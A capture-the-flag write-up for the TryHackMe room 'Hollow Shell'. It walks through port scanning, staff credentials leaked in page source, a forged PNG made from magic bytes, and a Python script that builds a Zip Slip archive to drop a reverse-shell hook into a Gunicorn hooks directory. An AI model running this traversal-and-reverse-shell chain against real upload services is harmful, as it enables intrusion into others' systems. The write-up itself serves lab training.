Overview

Hollow Shell is a TryHackMe web challenge built around a hotel “Shoreline Display” service that lets an authenticated concierge upload themed asset packages. Staff credentials leaked in the page source grant access to the upload feature, whose ZIP-based manifest format is reverse engineered from the server’s own validation errors. A minimal PNG is forged using its magic bytes to satisfy the allowed asset types, and a Zip Slip path traversal is then used to drop a malicious Python script into the backend’s Gunicorn hooks directory, resulting in a reverse shell.

Attack Chain

  • Scan the target and identify SSH on port 22 and an HTTP service on port 5000
  • Get redirected to a staff sign-in portal
  • Recover staff credentials left commented out in the page source
  • Log in and find a Room Service / Shoreline Display asset upload feature
  • Learn the upload must be a .zip containing a shell.json manifest listing assets
  • Forge a minimal PNG using its magic bytes to satisfy the allowed asset types
  • Iteratively fix shell.json based on the server’s validation errors (missing name, assets must be a list)
  • Successfully upload the archive and access the asset through its generated endpoint
  • Identify Gunicorn as the backend server and discover it supports automation hooks
  • Build a Zip Slip archive that plants a Python reverse shell script into the hooks/ directory
  • Start a listener and upload the malicious archive
  • Catch a reverse shell as roomservice and read the flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.82.152.132; export NAME=TOWELSUNBED; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,5000

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results

The scan identifies SSH on port 22 and a web service on port 5000, which becomes the focus of enumeration.


Web Enumeration

Staff Sign-In Portal

Browsing to port 5000 redirects us to /login, a staff sign-in portal.

redirected to staff login

Looking at the page source reveals a commented-out note containing staff credentials.

credentials in page source

concierge:StayNoticed2024!

Room Service / Shoreline Display

After logging in, we find a Room Service / Shoreline Display page that lets us upload an image file to be displayed across the property’s rooms.

Shoreline Display upload page

The upload must be a .zip archive containing a shell.json manifest listing all included assets. Allowed asset types are png, jpg, gif, svg, css and json.


Foothold

Forging a PNG with Magic Bytes

We create an empty .png file that only contains its magic bytes, using its corresponding hex signature. This can be done with echo, printf or xxd:

# echo
echo -ne '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > blank.png

# printf
printf '\x89PNG\r\n\x1a\n' > blank.png

# xxd
echo '89504e470d0a1a0a' | xxd -r -p > blank.png

We use xxd to create blank.png.

forging blank.png with xxd

Building the Upload Manifest

We don’t yet know which fields shell.json requires, so we start with our blank.png as the only asset.

echo '{"assets":"blank.png"}' > shell.json

initial shell.json

We add shell.json and blank.png to a zip archive to upload.

zip shell.zip shell.json blank.png

creating shell.zip

Uploading shell.zip returns an error stating shell.json is missing a name.

upload error - missing name

We add a name field to shell.json.

adding name to shell.json

Re-zipping and re-uploading now returns a different error: assets must be a list.

upload error - assets must be a list

We update assets to be a list in shell.json.

assets as a list

Re-zipping and re-uploading again now succeeds, and we receive an endpoint to access it.

shells/ee380b24946d/

successful upload with endpoint

Navigating to the endpoint confirms blank.png was uploaded.

http://10.80.156.87:5000/shells/ee380b24946d/blank.png

blank.png served from endpoint

Gunicorn Automation Hooks

Our nmap results showed the server is running Gunicorn, a Python-based WSGI server. We first try to see if we can smuggle a Python command through the upload to gain code execution.

attempting python command execution

The file uploads, but the command isn’t executed.

command not executed

Looking back at the main dashboard page, we notice that a shell may include automation hooks. Researching Gunicorn confirms these hooks can be Python scripts that run automatically.

dashboard notice about automation hooks

Zip Slip to Reverse Shell

To exploit this, we craft a zip archive that includes a relative path traversal to place our malicious Python script into the hooks folder, a Zip Slip.

Blind code execution through the /hooks endpoint is enough on its own, so rather than upload a webshell, we go straight to a reverse shell payload. We use Python3 #2 from revshells.com and save it as rev443.py.

reverse shell script rev443.py

We then build the Zip Slip archive with Python. The script below takes shell.json and blank.png and adds ../../hooks/rev443.py into a zip archive named malicious.zip, with the executable bit set so it runs once dropped.

import zipfile

with zipfile.ZipFile('malicious.zip', 'w') as zf:
    # Normal files - use write() if they exist on disk, or writestr() for inline content
    zf.write('shell.json', arcname='shell.json')
    zf.write('blank.png', arcname='blank.png')

    # Traversal file - set executable bit so it can run once dropped
    zi = zipfile.ZipInfo('../../hooks/rev443.py')
    zi.external_attr = 0o755 << 16  # rwxr-xr-x
    with open('rev443.py', 'rb') as f:
        zf.writestr(zi, f.read())

Before uploading malicious.zip, we start a penelope listener on port 443.

The file uploads without any errors.

malicious.zip upload succeeds

And we catch a shell as roomservice.

reverse shell caught as roomservice

The flag can now be read.

flag


Key Takeaways

Hollow Shell shows how a ZIP-based upload feature can be reverse engineered purely from its own validation errors, and how a single Zip Slip write primitive becomes serious once paired with something on the box that automatically executes what gets written, here, Gunicorn’s automation hooks. Forging just enough of a file format to pass a magic-byte check, then abusing an unsanitised archive path to escape the intended upload directory, was enough to turn an authenticated file upload into remote code execution.